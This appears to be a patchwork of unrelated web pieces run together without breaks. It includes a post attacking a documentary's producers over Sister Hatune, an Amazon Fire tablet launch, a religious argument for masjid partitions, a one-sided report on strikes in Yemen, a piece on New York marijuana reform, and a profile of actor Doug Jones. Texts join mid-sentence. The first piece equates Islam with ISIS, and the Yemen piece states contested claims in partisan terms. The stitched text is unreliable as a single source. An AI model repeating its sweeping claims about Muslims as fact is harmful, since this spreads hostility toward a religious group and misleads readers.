On July 29, 2015, two weeks after his film aired in the United States on Frontline on PBS and in Britain on Channel 4, Watts testified before the Committee on Foreign Affairs of the American Congress. He told the Committee that: "It's worth noting that ISIS's extreme interpretation of Islam is not shared by the majority of Muslims in the territory under their control." Watts said that only Yazidis are kept as sex slaves because they are not considered People of the Book as Christians are.
This is a lie. Muslims have been kidnapping, torturing, enslaving, and murdering Christians merely because they are Christians for centuries, both in Iraq and in other Muslim countries. Sr. Hatune fled Muslim persecution in Turkey where the Muslim genocide of Christians (Armenians) took place.
Sister Hatune does have a different view of ISIS and of Islam.
According to Hans Erling Jensen the film's producers explained that “her prominent statements about Islam and ISIS would shift the focus of the discussion about the film and would overshadow the relief work.”
Sr. Hatune said that “Islam is ISIS and ISIS is Islam; they would have a lot in common, even though ISIS pursues them with more barbaric means.” Sr. Hatune also mentioned that “atrocities like beheadings and crucifixions [are] justified by verses in the Quran, and have been going on in Iraq long before ISIS. Saudi Arabia is also conducting beheadings and other draconian punishments.”
I just spoke to producer Rosie Garthwaite who, after claiming that Hatune herself refused to be seen on camera (not true) and that her foundation did not “meet the requirements of a UK charity” (probably true), admitted to me that Hatune had to be cut out of the film because “her views are viciously anti-Muslim, anyone can google her and see that and we felt it would hurt the film.”
Clearly, Watt’s and Garthwaite’s concern was all about the film, not about the girls.
The Hatune Foundation accepts donations here.Android tablets aren't very exciting anymore, as manufacturers have seemingly lost focus on them. There have been a few solid offerings here and there, but it is a very sad state of affairs. With that said, Amazon's Fire tablets -- which run a version of Android called "Fire OS" -- still provide rewarding experiences as consumption devices. This is especially true if you are a Prime member. These tablets are definitely a bright spot in the market.
Amazon's tablets have needed a refresh for a while now, and today it happens. The company announces two newly updated models -- the Fire 7 and the Fire HD 8. They both feature Alexa support, of course, and are designed for a quality experience with all types of media, such as movies, music, and books. The 7-inch has a 1024 x 600 resolution, while the 8-inch variant has 1280 x 800. Best of all, they are extremely affordable.
"Amazon’s best-selling tablet is now even better -- Fire 7 features a thinner and lighter design, an improved 7-inch IPS display with higher contrast and sharper text, longer battery life with up to 8 hours of mixed use, 8 GB of storage with support for up to 256 GB of expandable storage, and better Wi-Fi connectivity, plus Alexa -- all for only $49.99," says Amazon.
The retailer also says, "The all-new Fire HD 8 -- the next-generation of Amazon’s highest customer-rated tablet -- offers a stunning 8-inch HD display with over 1 million pixels, a quad-core processor, up to 12 hours of battery life, 16 GB of storage with support for up to 256 GB more, plus Alexa -- now only $79.99."
At these insanely low prices, you might expect anemic performance, but both come with a respectable Quad-core 1.3 GHz processor. The Fire 7 has 1GB of RAM, while the HD 8 has 1.5GB. Regardless of which model you select, you will also get both front and rear cameras. The low cost might make you think they will be cheaply made, but Amazon claims they are more durable than Apple's newest iPad.
You can pre-order the Fire 7 or Fire HD 8 today, and they will begin shipping on June 7. They are available in four colors -- Black, Canary Yellow, Marine Blue and Punch Red. There are also "Kids" editions available, which come with beefy cases and added features for an increased price.
Which screen size and color will you buy? Tell me in the comments below.by Dr. Mateen Khan (Trenton, New Jersey)
Indeed, one of the sad losses in the modern Muslim community is a loss of `ubudiyyah (servanthood to Allah) as the approach to and goal of Muslim life. Our approach should reflect Islamicizing modern life rather than modernizing Islamic life. During the Prophetic era, the masjid served as the focal point of Islamic life for the community. Men and women frequented the Prophet’s ﷺ masjid. This article aims to place the masjid partition between men and women in its proper context.
The Prophetic Era
When we examine the hadith in an inclusive way, we can more fully appreciate how the simple, one-room masjid of Madinah operated. In general, the Prophet ﷺ established gender separation within the Muslim community and specifically, in the masjid.
For any particular salah, we would see the male Companions enter the masjid and occupy the front rows. The female Companions would enter with due modesty (explanation below) and occupy the back rows.
عَنْ أَبِي هُرَيْرَةَ قَالَ: قَالَ رَسُولُ اللَّهِ صلى الله عليه وسلم ”خَيْرُ صُفُوفِ الرِّجَالِ أَوَّلُهَا وَشَرُّهَا آخِرُهَا وَخَيْرُ صُفُوفِ النِّسَاءِ آخِرُهَا وَشَرُّهَا أَوَّلُهَا”. صحيح المسلم440 Abu Hurayrah said that the Prophet ﷺ said, “The best of the men’s rows is the first and the worst is the last, and the best of the women’s rows is the last and the worst in the first.” Sahih al-Muslim 440
In fact, the Prophet ﷺ wished for women to have a separate entrance from the men entirely.
عَنْ نَافِعٍ، عَنِ ابْنِ عُمَرَ قَالَ: قَالَ رَسُولُ اللَّهِ صلى الله عليه وسلم “لَوْ تَرَكْنَا هَذَا الْبَابَ لِلنِّسَاءِ”. قَالَ نَافِعٌ “فَلَمْ يَدْخُلْ مِنْهُ ابْنُ عُمَرَ حَتَّى مَاتَ”. سنن أبي داود 462, باب فِي اعْتِزَالِ النِّسَاءِ فِي الْمَسَاجِدِ عَنِ الرِّجَالِ Sayyiduna Ibn `Umar said, “The Messenger of Allah ﷺ said, ‘I wish that we would leave this entrance for the women.’” Nafi` (the narrator of this hadith from Sayyiduna Ibn `Umar) said, “Ibn `Umar did not enter through this entrance until his death.” Sunan Abu Dawud 462, Chapter on separating the women from the men in the masjid
Once the men and women were in their respective rows, the Prophet ﷺ would enter the masjid to begin the salah. Afterwards, he ﷺ would turn towards the male Companions behind him. The men would remain stationary while the women exited. Only after their exit did the Prophet ﷺ get up and leave. The men only left after the Prophet ﷺ rose from his place.
أَنَّ أُمَّ سَلَمَةَ ـ رضى الله عنها ـ قَالَتْ: كَانَ رَسُولُ اللَّهِ صلى الله عليه وسلم إِذَا سَلَّمَ قَامَ النِّسَاءُ حِينَ يَقْضِي تَسْلِيمَهُ، وَمَكَثَ يَسِيرًا قَبْلَ أَنْ يَقُومَ. قَالَ ابْنُ شِهَابٍ فَأُرَى ـ وَاللَّهُ أَعْلَمُ ـ أَنَّ مُكْثَهُ لِكَىْ يَنْفُذَ النِّسَاءُ قَبْلَ أَنْ يُدْرِكَهُنَّ مَنِ انْصَرَفَ مِنَ الْقَوْمِ. صحيح البخاري 837 Sayyidatuna Umm Salamah said, “When the Messenger of Allah ﷺ would say salam (finishing the salah), the women would stand immediately. He would wait a moment before he would stand.” Ibn Shihab (one of the narrators) said, “Allah knows best, his waiting was so that the women could exit before any of the exiting men could run into them.” Sahih al-Bukhari 837
One immediately notices that gender separation was not enforced by a partition in the Prophet’s ﷺ masjid. One also pictures a scene in which individuals enter in a serene manner, eyes lowered before their Lord in which the men and women enter separately, sit separately and leave separately. Women did not linger engaged in other worship. Even after leaving the masjid, the Prophet ﷺ instructed gender separation in the streets. In fact, the women dressed in a way that made them unrecognizable.
عن حمزة بن أبي أسيد الأنصاري، عن أبيه أَنَّهُ سَمِعَ رَسُولَ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ يَقُولُ – وَهُوَ خَارِجٌ مِنْ الْمَسْجِدِ فَاخْتَلَطَ الرِّجَالُ مَعَ النِّسَاءِ فِي الطَّرِيقِ – فَقَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ لِلنِّسَاءِ: اسْتَأْخِرْنَ ، فَإِنَّهُ لَيْسَ لَكُنَّ أَنْ تَحْقُقْنَ الطَّرِيقَ ، عَلَيْكُنَّ بِحَافَّاتِ الطَّرِيقِ. فَكَانَتْ الْمَرْأَةُ تَلْتَصِقُ بِالْجِدَارِ حَتَّى إِنَّ ثَوْبَهَا لَيَتَعَلَّقُ بِالْجِدَارِ مِنْ لُصُوقِهَا بِهِ. أبو داود 5272 Abu Usayd al-Ansari narrated that while the Messenger of Allah ﷺ was leaving the masjid and the men and women were mixing in the street, he said to the women, “Move back. You should not walk in the middle of the street. Keep to the sides of the street.” So the women used to stay so close to the wall that their clothes would touch it. Sunan Abu Dawud 5272.
أَنَّ عَائِشَةَ قَالَتْ: لَقَدْ كَانَ رَسُولُ اللَّهِ صلى الله عليه وسلم يُصَلِّي الْفَجْرَ، فَيَشْهَدُ مَعَهُ نِسَاءٌ مِنَ الْمُؤْمِنَاتِ مُتَلَفِّعَاتٍ فِي مُرُوطِهِنَّ ثُمَّ يَرْجِعْنَ إِلَى بُيُوتِهِنَّ مَا يَعْرِفُهُنَّ أَحَدٌ. صحيح البخاري 372, باب فِي كَمْ تُصَلِّي الْمَرْأَةُ فِي الثِّيَابِ Sayyidatuna `A’ishah said, “The Messenger of Allah ﷺ used to pray Fajr and some believing women, covered with their veiling sheets, used to attend the Fajr prayer. Then, they would return to their homes unrecognized. Sahih al-Bukhari 372, Chapter on “in how many clothes a woman should offer prayer.”
As mentioned above, “due modesty,” in the context of the Shari`ah, includes covering the `awrah1 completely with a head covering (khimar) and a loose outer garment (jilbab)2 making the contours of the body indiscernible and any amount of visible make-up, thinning of the eyebrows and perfume are prohibited.
وَلْيَضْرِبْنَ بِخُمُرِهِنَّ عَلَىٰ جُيُوبِهِنَّ ۖ وَلَا يُبْدِينَ زِينَتَهُنَّ إِلَّا لِبُعُولَتِهِنَّ (The believing women) should wrap their headcovers (khimar) over their chests and not expose their adornment except to their husbands…” Surah al-Nur 31
يَا أَيُّهَا النَّبِيُّ قُل لِّأَزْوَاجِكَ وَبَنَاتِكَ وَنِسَاءِ الْمُؤْمِنِينَ يُدْنِينَ عَلَيْهِنَّ مِن جَلَابِيبِهِنَّ ۚ ذَٰلِكَ أَدْنَىٰ أَن يُعْرَفْنَ فَلَا يُؤْذَيْنَ ۗوَكَانَ اللَّـهُ غَفُورًا رَّحِيمًا O Prophet, tell your wives and daughters and the women of the believers to bring down over themselves part of their outer garments (jilbab). Surah al-Ahzab 59
عَنْ عَبْدِ اللَّهِ، أَنَّ النَّبِيَّ صلى الله عليه وسلم لَعَنَ… وَالْمُتَنَمِّصَاتِ مُبْتَغِيَاتٍ لِلْحُسْنِ مُغَيِّرَاتٍ خَلْقَ اللَّهِ. سنن الترمذي Sayyiduna `Abdullah narrated that the Prophet ﷺ cursed the women who… remove hair from their faces seeking beautification by changing the creation of Allah. Sunan al-Tirmidhi
عَنْ أَبِي هُرَيْرَةَ، أَنَّ رَسُولَ اللَّهِ صلى الله عليه وسلم قَالَ “لاَ تَمْنَعُوا إِمَاءَ اللَّهِ مَسَاجِدَ اللَّهِ وَلَكِنْ لِيَخْرُجْنَ وَهُنَّ تَفِلاَتٌ” سنن أبي داود 565 Sayyiduna Abu Hurayrah narrated that the Messenger of Allah ﷺ said, “Do not prevent the female servants of Allah from the masjids of Allah. They should leave their homes without perfume.” Sunan Abu Dawud 565
The Post-Prophetic Era
Very soon after the passing of the Prophet ﷺ and his close Companion Abu Bakr, attitudes and practices began to drift. Men and women neglected the divine command to lower their eyes, cover themselves properly, and their interactions increased to such an extent that it concerned the muftiyyah, confidant and wife of the Prophetﷺ, `A’ishah. She did not issue a ruling. Rather, she elucidated the intent of the Shari`ah in an attempt to correct the mistakes she saw.
عَنْ عَائِشَةَ رَضِيَ اللَّهُ عَنْهَا قَالَتْ: “لَوْ أَدْرَكَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ مَا أَحْدَثَ النِّسَاءُ لَمَنَعَهُنَّ كَمَا مُنِعَتْ نِسَاءُ بَنِي إِسْرَائِيلَ”. صحيح البخاري 569 Sayyidatuna `A’ishah said, “Had the Messenger of Allah ﷺ witnessed what has befallen the women, he would have prevented them (from the masjid) as the women of Bani Isra’il were prevented.” Sahih al-Bukhari 569
In subsequent times, the situation became far worse. Undeniably, today men and women do not lower their eyes, no longer have the modesty and etiquette of their counterparts among the Companions, and mixing is no longer avoided. Muslim women do not dress properly—the jilbab and khimar are almost entirely abandoned, visible make-up and eyebrow thinning are widespread—nor do they avoid perfume. Changed attitudes and behaviors forced Islamic scholars (ulama) to resort to a barrier to enforce the sanctity of the masjid and the objectives of the Shari`ah.
“It is obligatory that a barrier, which prevents sight, be placed between the men and women. For indeed, [the masjid], too, is a place where corruption is expected.”3 Imam al-Ghazali, Ihya Ulum al-Din.
Why a Partition?
Among the objectives of the Sunnah are upholding modesty, discouraging unnecessary gender mixing, and creating an environment conducive to engaging with one’s Lord. A proper partition is conducive to fulfilling these objectives and brings other benefits as well:
Women do not have to mind their gazes or avoid the gazes of men. Anyone who works or studies in a mixed environment is aware that segregation of genders allows greater focus. Breast-feeding, changing clothing, and other preparations for prayer are easier. Women may focus on their worship without diverting their attention towards maintaining proper hijab. Women can remain in the masjid engaged in dhikr, recitation of Qur’an and learning.
With a partition, exposing the `awrah or its contours and wearing make-up is permissible in the masjid. However, removing the partition makes all of these forbidden (haram) and sinful effectively inviting the displeasure of Allah in His own House.
In addition, the Prophet ﷺ did establish gender separation as an integral part of the masjid. During his time, the masjid was a gathering place for men, which allowed women during the salah or special gatherings. Narrations about men sitting in the Prophet’s ﷺ masjid at times other than the salah are too numerous to count. They engaged in dhikr, recitation of Qur’an and learning. Narrations about the people of Suffah, a group of dedicated men that lived in a section adjacent to the masjid, are also many. Yet, we do not find any mention of women doing the same.
Some will point to areas of employment, schooling, and shopping as areas of mixed gender interaction in our times. Why is it that we are quiet about gender separation in those areas but seemingly hypocritical in the masjid? Unlike the other areas, we are responsible for the masjid’s environment, and we will be asked about it on the Day of Judgment. The fact is that the masjid is not like the areas of shopping. It is a place of sanctity and a model of ideal Islamic life even in non-Muslim lands.
(671 عَنْ أَبِي هُرَيْرَةَ أَنَّ رَسُولَ اللَّهِ صلى الله عليه وسلم قَالَ: ”أَحَبُّ الْبِلاَدِ إِلَى اللَّهِ مَسَاجِدُهَا وَأَبْغَضُ الْبِلاَدِ إِلَى اللَّهِ أَسْوَاقُهَا” (صحيح المسلم Sayyiduna Abu Hurayrah narrated that the Messenger of Allah ﷺ said, “The most beloved piece of land to Allah is its masjids and the most hated piece of land is its areas of shopping.” Sahih al-Muslim 671
In summary, no claim is made that the partition is itself an objective of the Shari`ah. Rather, it is a means to fulfilling the objectives of the Shari`ah: modesty, gender separation, concentration in worship, sanctity of the masjid and avoiding the displeasure of Allah. If our men and women adopt the etiquette of the Prophetic era, in which these objectives are attained without a partition, then there is no reason to have a physical barrier. Otherwise, if we insist on removal of the partition because it didn’t exist in the Prophetic era, then logically we should insist on a separate entrance for women, their immediate exit before all of the men, their wearing the proper dress of the female Companions, and many other things.
Women should be welcomed in the masjids, consulted in affairs affecting them, and given optimal prayer areas. The community should take steps to ensure functional speaker and/or projection systems, and if necessary, dedicated time with the imam or scholar for further learning or questioning. Communities should invest in female scholars to educate and guide our women. This can be accomplished with a partition while maintaining the sanctity of the masjid and the spirit of the Sunnah. This is the balanced approach and the one most in-line with the Shari`ah.
For the greater part of the existence of this deen, scholars such as Imam al-Ghazali called for a barrier between men and women. Were he and other scholars mistaken in this approach only to be corrected by a few modern day scholars? Did they so easily deviate from the dictates of their Lord and the example of their Prophet ﷺ due to their patriarchal inclinations? May Allah protect us from such ridiculous thoughts about our scholars and instead, permit us to ponder on whether we are mistaken.
1 The `awrah of a Muslim woman in front of a non-mahram man is her entire body except for her face and hands.
2 “In the Arabic language, the jilbab, which the Messenger of Allah ﷺ spoke to us about, covers the entire body not just part of it.” Al-Muhalla li Ibn Hazm 2:378.
3 (3 إحياء علوم الدين (2/ 337
ويجب أن يضرب بين الرجال والنساء حائل يمنع من النظر فإن ذلك أيضاً مظنة الفساد والعادات تشهد لهذه
المنكرات ويجب منع النساء من حضور المساجد للصلوات ومجالس الذكر إذا خيفت الفتنة بهن فقد منعتهن
عائشة رضي الله عنها فقيل لها أن رسول الله صلى الله عليه وسلم ما منعهن من الجماعات فقالت لو علم
رسول الله صلى الله عليه وسلم ما أحدثن بعده لمنعهن وأما اجتياز المرأة في المسجد مستترة فلا تمنع منه إلا
أن الأولى أن لا تتخذ المسجد مجازاً أصلاًEight children and two women have lost their lives in a fresh Saudi aerial attack on Yemen’s northwestern Sa’ada province.
Four people were also injured in Wednesday’s airstrike that hit a residential area in Sa’ada, Yemen's Arabic-language al-Masirah television network reported.
Additionally on Wednesday, Saudi warplanes bombarded the Yemeni districts of Dhubab, Harad and Munabbih, situated in the provinces of Ta'izz, Hajjah and Sa’ada, respectively.
The Wednesday airstrikes were carried out a day after similar raids on Nihm neighborhood of Sana'a province killed all members of a family.
In retaliation for the deadly Saudi airstrikes, 20 Saudi mercenaries were slain in mortar attacks conducted by the Yemeni army and Yemen's Houthi Ansarullah movement in the north of Midi Desert in Hajjah. Yemeni army snipers further shot dead five Saudi officers in an unspecified location.
Saudi Arabia has been leading a brutal military campaign against Yemen since March 2015. The kingdom has also imposed an aerial and naval blockade on its impoverished southern neighbor.
The Saudi aggression, which allegedly seeks to restore Yemen's ex-government to power, has killed over 12,000 Yemenis, according to the latest tallies.
4 killed in US drone attack on Yemen’s Abyan: Official
Separately on Wednesday, a drone strike claimed the lives of four people in Yemen’s southern Abyan province, a security official said.
Two missiles hit a vehicle on the outskirts of Abyan’s Mudiyah neighborhood, killing all four occupants, who were suspected to be members of the al-Qaeda militant group, the official added.
This file photo shows people protesting US drone attacks in Yemen, in front of the parliament building in the country's capital Sana’a. (Photo by AP)
Earlier this month The Wall Street Journal reported that US President Donald Trump had given the Central Intelligence Agency (CIA) new powers to launch drone attacks against suspected terrorist targets.
The authority was limited to the Pentagon under the former US administration.
Under the new measure, however, the CIA would require no permission from the Pentagon or even the White House before conducting a drone strike.
Reports say Washington has conducted dozens of strikes against what are claimed to be al-Qaeda targets in Yemen since March 2, when it stepped up its campaign in the Arabian Peninsula country.
The conflict-ridden state has been under regular US drone attacks, with Washington claiming to be targeting al-Qaeda elements while local sources say civilians have been the main victims of the attacks.NY GOP Kills Marijuana Decriminalization Reform Bill would have ended NYPD's abuse of decriminalization law
ALBANY, NY — New York decriminalized the possession of small amounts of marijuana in 1977, but New York City police continue to arrest 50,000 people a year for pot possession after stopping-and-frisking them, then tricking them into emptying their pockets and revealing their baggies of weed, triggering the misdemeanor offense of public possession of marijuana.
In a bid to end that practice, Gov. Andrew Cuomo (D) and the Democratically-controlled Assembly moved to reform the decriminalization law by removing the public possession provision with Assembly Bill 10581, but Monday night, Republicans and their Conservative Party allies in the Senate effectively killed it.
The Senate Republicans caved under pressure from Conservative leader Mike Long, who threatened to not allow any Republicans who supported the bill to appear on the Conservative Party line. The Senate then refused to take up the bill. That means the mass arrests, predominantly of young people of color, for what should, under state law, be only a ticketable offense, will continue, costing the state tens of millions of dollars each year.
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The Republican failure to act comes in the face of widespread law enforcement support for the reform, including NYPD Commissioner Raymond Kelly, the district attorneys in all five New York City boroughs and suburban Nassau County, and even the New York City Patrolman’s Benevolent Association. Kelly called the reform “a balanced approach,” while Manhattan DA Cyrus Vance said it would bring greater “safety and fairness” to the criminal justice system and it was “the right thing to do.”
“The Senate Republicans have single-handedly decided to continue ruining tens of thousands of lives — mostly those of young people of color — every year. Opposing law enforcement and the clear political consensus in the state is not just heartless — it’s a political miscalculation that will come to haunt them,” said Dr. Divine Pryor, executive director of the Center for NuLeadership on Urban Solutions.
“Even Mayor Bloomberg and Commissioner Kelly have come out in support of this legislation. So what’s holding up the Senate from passing smart reforms that will eliminate the tens of thousands of unlawful arrests taking place in the city every year?” said Alfredo Carrasquillo, community organizer with VOCAL New York.
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Last week, the New York City Council passed a resolution by an overwhelming margin calling for an end to racially biased, costly, unlawful arrests. The resolution, introduced by Council Members Melissa Mark-Viverito and Oliver Koppell, was cosponsored by a majority of council members. The resolution came a day after hundreds of community activists went to Albany to deliver thousands of signatures to demand the New York State Senate pass legislation to decriminalize marijuana possession in public view.
“The New York Senate Republicans are doing what Republicans do best at the federal and local level — they are obstructing progress and paralyzing government. The Republican Conference in the State Senate is completely out of touch with our communities of color in New York City and because of their inaction, tens of |
in 2006. This fall, he's enjoying two of the highest-profile roles of his career, in the CBS All Access series Star Trek: Discovery (which just streamed its midseason finale on Nov. 12) and the Guillermo del Toro feature film The Shape of Water (which won the top prize at the 2017 Venice Film Festival, and will open in theaters starting Dec. 1).
Brent Humphreys for BuzzFeed News / Styling by Jordan Grossman / Makeup by Mo Meinhart
And yet, in all of those projects, and many more like them, Jones hasn't shown his face, or any other part of his body. With the aid of elaborate latex and silicone masks, intricate costumes, and painstaking makeup, the 57-year-old has largely spent his career bringing to life a menagerie of aliens, demons, beasts, angels of death, and moon-headed fast-food pitchmen. "It's been too many," Jones said of all the roles populating his IMDb profile with characteristic self-effacement. "I know, I know." Jones is in high demand thanks to a distinctly idiosyncratic set of skills. "A creature performer needs to be a very odd combination of marathon runner and a mime, who can express himself through layers and layers of latex and acrylic and silicon," said del Toro, who has worked with Jones on six of his feature films. "It's a very, very rare discipline … [and] there are very, very few that are actual actors, in my opinion, that go beyond being able to work in a suit or under makeup. Doug is a proper actor. When you need that level of finesse, Doug is the only one I've met that I trust with that level of commitment and craftsmanship and artistry."
"I'm hired because I'm a tall, skinny guy — with other talents, I hope."
In person, Jones is voluble and friendly company, but he's not all that keen on preening over his one-of-a-kind professional success. "I'm hired because I'm a tall, skinny guy — with other talents, I hope," he said. "But the creature effects guys love to start with a skinny, long palette, because they can build on it and not make it too bulky." He shrugged off any suggestion that he's cracked the code for enduring multiple hours of makeup application each day — "I sit there, basically, or I stand there" — and he chalks up maintaining his strikingly lean physique to a "very boring" exercise routine of elliptical machines and light dumbbell lifting, and "the metabolism of a 16-year-old." He is also remarkably candid about the sacrifices and setbacks he's endured building his remarkable and rarefied career. "It is isolating," he said. "I'm not always in the mood to talk and banter and joke around [on set], because I'm trying to survive the day in a different way than everyone else is." But Jones hasn't merely survived — he's thrived, by charting a rail-thin, serpentine path as an actor who's become an expert at obliterating his own appearance. Jones has also discovered, however, that his willingness to be unrecognizable in Hollywood has made it that much harder for Hollywood to recognize his singular talents.
Stumbling through early success: Mac Tonight, Batman Returns, Hocus Pocus, and Buffy the Vampire Slayer When Jones moved from Indiana to Los Angeles in 1985, his dream was to become a sitcom star. "I was a goofy fellow who related to Jerry Lewis and Dick Van Dyke and Gilligan's Island," he said. "I thought I would be one of them. I never set out to do costume work. I didn't know that was really a career option." But there were two special skills on Jones' early résumé — a background in mime, and the ability to put his legs behind his head like a contortionist — that landed him auditions for physically driven gigs, like a Southwest Airlines commercial as a dancing mummy. "I was wrapped from head to toe in dirty bandages," Jones said with a wry smile, "boding of things to come." In 1986, Jones booked a regional McDonald’s ad campaign aimed at driving more dinnertime business in California, as a character dubbed "Mac Tonight" in which he wore a shiny suit and a giant mask of a crooning crescent moon. "The ad agency later said that I had the right 'Love ya, babe' attitude to play like a cool-cat nightclub guy that sung about burgers," Jones said. The ads were a hit, and the Mac Tonight campaign went national, and then global; Jones ended up shooting 27 ads over three years. "I bought my first condo with that," he said. "So that was a happy thing."
youtube.com McDonalds; 20th Century Fox; Buena Vista / Alamy / Via youtube.com Jones as Mac Tonight for a McDonald's ad campaign, as one of the Gentlemen in Buffy the Vampire Slayer, and Billy Butcherson in Hocus Pocus.
Less happy was the fact that no one could see Jones' face, which meant, in the company's eyes, that he was expendable. "I never got [paid] above scale, and they wouldn't even hear any offers," Jones said. "Their argument was 'We can put anybody else in there.' It's a really tough place to be in, when you're trying to defend what you brought to the table and yet stay humble about it, because, you know, I don't think I'm all that." Jones sighed. "It took me decades of keeping my representation onboard with, whenever they heard that rhetoric of 'Oh, we could just replace him with anybody' to try to alter the sales job to 'If you want to put your costume on a hanger, it's going to look pretty, but it has to move, it has to emote, so you really need an actor in there, not just a monkey,'" he said. "That's been the challenge, but I think we got there. Eventually, we got there."
"I never set out to do costume work. I didn't know that was really a career option."
The first major step on that road came almost by accident, when he was called in to demonstrate his extreme flexibility for the stunt coordinator of the 1992 blockbuster Batman Returns — and ended up also showing off his abilities to the film's director, Tim Burton. "I thought, oh, this sounds like it's a sight gag that will work a day or two," Jones said. "A half-hour later they come back in the room, and Tim says, 'Well, congratulations, you got the part.' And I was like, 'The part? There's a part?'" Taken with Jones' beanpole stature, Burton cast him as the "Thin Clown," part of the gang of rogue circus performers led by the lead villain, the Penguin (Danny DeVito). Jones had barely any lines, but he ended up working for 14 weeks on the project, and shared many scenes with DeVito and Christopher Walken. Batman Returns also led directly to Jones' audition for the 1993 Halloween family comedy Hocus Pocus, as the loose-limbed zombie Billy Butcherson. It was by far Jones' most prominent part to date — even if, again, it was largely silent and, again, his face was obscured with exaggerated makeup. The movie was also a flop (opening in July probably didn't help), but in the years since, it's become a generational touchstone, and Billy has become one of Jones' signature roles. "Hocus Pocus is the one that people see that picture on my [autograph] table at a convention, and” — Jones exploded with a loud gasp, throwing his hand to his face — “'That's Billy! Was that you?!'" Jones smiled, almost sheepishly. "I understand this. If I met Ray Bolger from The Wizard of Oz, I would wet my pants."
Brent Humphreys for BuzzFeed News / Hair and Makeup by Mo Meinhart and Tanner White Jones in makeup and costume from his upcoming film Nosferatu.
Throughout the ’90s, however, Jones remained in obscurity, bouncing between small, nameless roles that usually amounted to no more than a couple days of work. When Jones landed an audition for Buffy the Vampire Slayer in 1999, he didn't really expect it to be any different — once more, the role had no lines, and Jones hadn't been given a script. So when he stepped into the audition room, he was surprised to see executive producer Joss Whedon sitting among the other producers and the casting director. "We were given the instruction, 'Pretend there's someone lying in front of you, and you just step up quietly, smile as big and teethy as you can the entire time, and act like you are surgically cutting this person's heart out, and then hand the heart to someone in the room and smile about it,'" Jones recalled, before relaying his response with a deadpan smile: "'Oh, OK.'" The audition was for the Season 4 episode "Hush," which turned out to be of the most beloved hours in the show's history. Jones was auditioning to play one of a terrifying coterie of demons called the Gentlemen who rob everyone of their voices in order to quietly steal their hearts. Jones learned later that the production had created masks that froze the character’s faces in a petrifying rictus grin. But Jones’ own evil grin in the audition won everyone over so much that not only did he get the part as one of the lead Gentlemen, the producers modified his character’s makeup to keep Jones’ natural smile.
"I was cheaper than a silicone dummy would have been to make."
"You know that thing when you're at a wedding and you're smiling for pictures over and over again, and you're [saying], 'I can't feel my face anymore'?" Jones said, pressing into his cheeks. "Well, we had that for like eight days in a row." Jones’ performance, alongside a fellow Gentleman played by Camden Toy, proved so chillingly memorable that they started appearing in Buffy's opening credits. "We got residual checks on that, too," Jones said. "It was a huge honor for guest stars in one episode. And we also became action figures!" That same year, Jones appeared in the war satire Three Kings, in a scene with George Clooney, Mark Wahlberg, and Ice Cube. The role also required Jones to take on a cadaverous mien — because he was playing a dead Iraqi soldier lying in the desert. "One split second," Jones said of his screen time, with a What can you do? grin. "I was cheaper than a silicone dummy would have been to make."
Big breaks and big setbacks: Hellboy, Pan's Labyrinth, and Fantastic 4: Rise of the Silver Surfer Jones first met Guillermo del Toro on the set of his 1997 horror thriller Mimic, playing, essentially, a giant cockroach. It was only for a few days of reshoots, but the actor still made an indelible impression on the filmmaker. "He was the only guy handling the suits who was really, really preoccupied with imbuing these things with character," del Toro said. Five years later, when del Toro was developing his adaptation of the beloved comic series Hellboy, he thought of Jones again. There was a crucial central character — an intelligent sea creature named Abe Sapien — who necessitated a full-body costume and elaborate facial makeup that took seven hours to apply before filming. For del Toro, there was practically no one but Jones who could do the job. There was, however, one big catch: Del Toro told Jones up front that his vocal performance would likely be replaced by another, more well-known actor.
Universal / Alamy; 20th Century Fox / Alamy; Photo 12 / Alamy Jones as Abe Sapien in Hellboy, Silver Surfer in Fantastic Four: Rise of the Silver Surfer, and the Faun in Pan's Labyrinth.
"I wilted at that news," Jones recalled. "I had the foresight to know that if I'm voiced over by somebody more famous than me, the thought [would be], Oh, okay, he must not be able to act. I was fighting that stigma. … It was a big deal and a big character, and now I'd have to explain that for the rest of my life." Jones said he "begged" del Toro to reconsider, and they came to an agreement. "He said, 'Give us the voice that the character needs, and your name will be a part of all those names being considered for this,'" Jones recalled. So that's what Jones did. "I felt like I was auditioning for the part I already got every day," he said. On set, Jones remembered getting a flood of positive feedback, including up to when he was brought in months later for the standard process of rerecording Abe's dialogue. "While I was on my lunch break that day, the sound engineer caught me in the hallway and said, 'Doug, I've got to tell you, I love the voice you're giving Abe,'" Jones recalled. "I drove home from that voice ADR session thinking, They need to look no further. We are done here."
"I had the foresight to know that if I'm voiced over by somebody more famous than me, the thought [would be], Oh, okay, he must not be able to act."
Two weeks later, del Toro called Jones to tell him that David Hyde Pierce would be performing the voice of Abe Sapien. Jones burst into tears. "I'm not going to try to act like I was bigger than I am," he said. "I was crestfallen." The way Jones explains it, the casting decision was driven by marketing — Pierce had just wrapped the final season of NBC's Frasier and was at the peak of his fame. Del Toro, however, said that he'd always had Pierce in mind. "I wrote the part thinking of David Hyde Pierce and how fastidious Niles was on Frasier," he said. "That was my entry point to Abe Sapien in the movies." Regardless of the reason, Pierce ultimately declined to take a credit on the film "out of respect for Doug," said del Toro. The director even recalled Pierce saying during his recording session, "I want to try to sound like Doug." "People don't do that," Jones said, still clearly touched 13 years later. "I never would have expected it or asked for that." Unfortunately, Hellboy wasn't the last time he had to come to terms with a decision to dub over his voice. For 2006's Pan's Labyrinth, though, Jones actually welcomed it. Del Toro had set his phantasmagoric fable about a young girl navigating a world of fauns, faeries, and demons in 1944 Franco-era fascist Spain, and kept the script in its native language. "I read an English translation of the script, and so I got so lost in this beautiful story. By the time I closed the last page, I'm wiping tears away, going, 'Oh, glory be, of course I have to do this movie,'" Jones recalled. Del Toro had told Jones that he absolutely needed him to play the ancient faun who guides the girl on her journey, but once Jones realized that he would have to actually speak Spanish, he almost turned it down.
Brent Humphreys for BuzzFeed News
